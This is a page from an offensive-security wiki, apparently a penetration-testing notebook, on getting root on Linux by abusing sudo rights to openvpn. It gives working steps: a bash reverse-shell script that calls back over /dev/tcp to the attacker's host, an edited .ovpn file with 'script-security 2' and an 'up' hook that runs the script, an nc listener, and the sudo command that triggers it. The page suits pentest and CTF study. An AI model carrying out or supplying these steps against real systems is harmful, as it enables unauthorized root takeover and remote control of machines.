Linux Privilege Escalation
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  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
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  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
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Sudo OpenVPN Privilege Escalation

Sudo openvpn may be vulnerable to privilege escalation.

Investigation

(root) /usr/sbin/openvpn /opt/example.ovpn
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If we can execute openvpn command as root and we have a permission of editing the .ovpn file, we can escalate to privilege.

Exploitation

1. Create a Payload

First create a shell script to reverse shell. For example, create /tmp/shell.sh. Replace <local-ip> with your local ip address.

#!/bin/bash

bash -i >& /dev/tcp/<local-ip>/4444 0>&1
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Then change the file permission so that root can execute this script.

chmod +x /tmp/shell.sh
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2. Edit .ovpn File

Next edit the .ovpn file. We need to add "script-security 2" and "up /tmp/shell.sh" into the header.

# /opt/example.ovpn
...
script-security 2
up /tmp/shell.sh

<ca>
-----BEGIN CERTIFICATE-----
...
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3. Reverse Shell

In local machine, start a listener.

nc -lvnp 4444
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Now execute openvpn command as root.

sudo /usr/sbin/openvpn /opt/example.ovpn
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This command executes our shell.sh, so we should get a root shell.

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Last updated 1 year ago

  • Investigation
  • Exploitation
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